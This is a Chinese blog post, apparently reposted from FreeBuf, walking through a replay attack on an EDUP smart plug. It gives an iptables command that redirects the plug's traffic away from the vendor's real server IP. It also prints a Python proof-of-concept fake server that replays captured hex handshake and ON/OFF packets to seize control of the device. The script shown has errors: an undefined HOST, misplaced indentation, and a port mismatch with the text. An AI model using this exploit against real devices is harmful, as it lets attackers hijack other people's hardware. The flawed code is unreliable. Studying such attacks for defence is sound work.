玩爆EDUP智能插座(Part2)


发布人:admin分类:网络安全浏览量:24发布时间:2017-12-12

玩爆EDUP智能插座(Part2)》中我们对EDUP智能插座的构成元件进行了初步的了解:智能插座的工作原理,构成元件,对其通行协议进行了初步了解。

在接下来的这一章节中,我们将会用到重放攻击的手法,通过假冒服务器有效的控制设备。

重放攻击(Replay attack)是一种网络攻击,它恶意的欺诈性的重复或拖延正常的数据传输。
例如Alice向Bob认证自己。Bob要求她提供密码作为身份信息。同时,Eve窃听两人的通讯,并记录密码。在Alice和Bob完成通讯后,Eve联系Bob,假装自己为Alice,当Bob要求密码时,Eve将Alice的密码发出,Bob认可和自己通讯的人是Alice。

首先,我们将所有来自/流向IP 219.147.29.235的流量(事实上这是真实服务器地址)定向到我们控制的本地机器,设置一个虚假的服务监听端口 TCP/221

iptables -t nat -A PREROUTING -p tcp -d 219.147.29.235 --jump DNAT --to-destination 192.168.3.8:221

成功执行这条命令之后,使用netcat命令监听TCP/221端口来检测是否已经成功重定向,接着我们连接好设备后,等它来验证我们的hostapd,然后我们应该能够看到下面这张图。

通过仔细分析数据包,我们意识到在第一次握手之后,不论什么时候服务器总是首先响应。

用下面这张截图作为例子,服务器启动一个能够调用serverHelo[在上一篇文章中讲解图中我们把他命名为A]的payload。客户端确认serverHelo后发送两个数据包,最后别忘记了TCP/IP栈以及ACK。

与ON/OFF命令完全相同:服务器先发送一些数据,然后端口与客户端的连接

演示视频

下面的这个视频演示了完整的工作流程

<视频上传中>

链接:http://pan.baidu.com/s/1mgmVF9Q 密码:d5t1

出于演示目的,我还写了一个Python脚本,其在211端口处创建一个TCP接口等待客户连接。当检测到传入的连接,服务器发送之前获得到的数据包,并显示接收到的响应信息。

#!/usr/bin/env python
# Python Fake EDUP Server POC
# Angel Suarez-B. Martin (n0w)
import socket
import sys
from thread import *
import time
# EDUP SmartSocket Port
PORT = 221
def clientthread(conn):
    serverHelo = 'ffff000f01007ac82cca004139164e'.decode('hex')  
    onCMD = 'ffff00156261a73ac50f0900002509062474028080'.decode('hex')
    offCMD = 'ffff001548e18d202bf50900002509062474028000'.decode('hex')    
    
    print "[*] Sending HELO..."    
    conn.send(serverHelo)
    data = conn.recv(30)    
    print "[i] Received message A!: " + data.encode('hex')
    data = conn.recv(30)    
    print "[i] Received message B!: " + data.encode('hex')    
    print "[i] Session now started"
    
    print "[*] Sending 'ON' CMD..."
    conn.send(onCMD)  
    
    data = conn.recv(30)    
    print "[i] Received 'ON' CMD confirmation: " + data.encode('hex')
    
    time.sleep (3)    
    print "[*] Now sending 'OFF' CMD..."
    conn.send(offCMD)
    
    data = conn.recv(30)    
    print "[i] Received 'OFF' CMD confirmation: " + data.encode('hex')
    conn.close()
    if __name__ == '__main__':    
 print "EDUP SmartSocket Fake Server PoC"
 print "Written by Angel Suarez-B. Martin (n0w)\n"
 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
 s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) 
 print '[i] Socket created'
  
 # Bind socket to local host and port
 try:
  s.bind((HOST, PORT)) 
  except socket.error as msg:  
  print '[e] Bind failed. Error Code : ' + str(msg[0]) + ' Message ' + msg[1]
  sys.exit()   
 print '[i] Socket bind complete'
 s.listen(10) 
 print '[i] Socket now listening'
  
 while 1:
  conn, addr = s.accept()  
  print '[i] Incoming SmartSocket from ' + addr[0] + ':' + str(addr[1])
  
  start_new_thread(clientthread ,(conn,))
  
 s.close()

*参考来源n0wblog,译者/鸢尾 转载请注明来自FreeBuf黑客与极客(FreeBuf.COM)


被黑站点统计 - 文章版权1、本主题所有言论和图片纯属会员个人意见,与本文章立场无关
2、本站所有主题由该文章作者发表,该文章作者与被黑站点统计享有文章相关版权
3、其他单位或个人使用、转载或引用本文时必须同时征得该文章作者和被黑站点统计的同意
4、文章作者须承担一切因本文发表而直接或间接导致的民事或刑事法律责任
5、本帖部分内容转载自其它媒体,但并不代表本站赞同其观点和对其真实性负责
6、如本帖侵犯到任何版权问题,请立即告知本站,本站将及时予与删除并致以最深的歉意
7、被黑站点统计管理员有权不事先通知发贴者而删除本文

免责声明

本站主要通过网络搜集国内被黑网站信息,统计分析数据,为部署安全型网络提供强有力的依据.本站所有工作人员均不参与黑站,挂马或赢利性行为,所有数据均为网民提供,提交者不一定是黑站人,所有提交采取不记名,先提交先审核的方式,如有任何疑问请及时与我们联系.

admin  的文章


微信公众号

微信公众号


Copyright © 2012-2022被黑网站统计系统All Rights Reserved
页面总访问量:21444585(PV) 页面执行时间:94.681(MS)
  • xml
  • 网站地图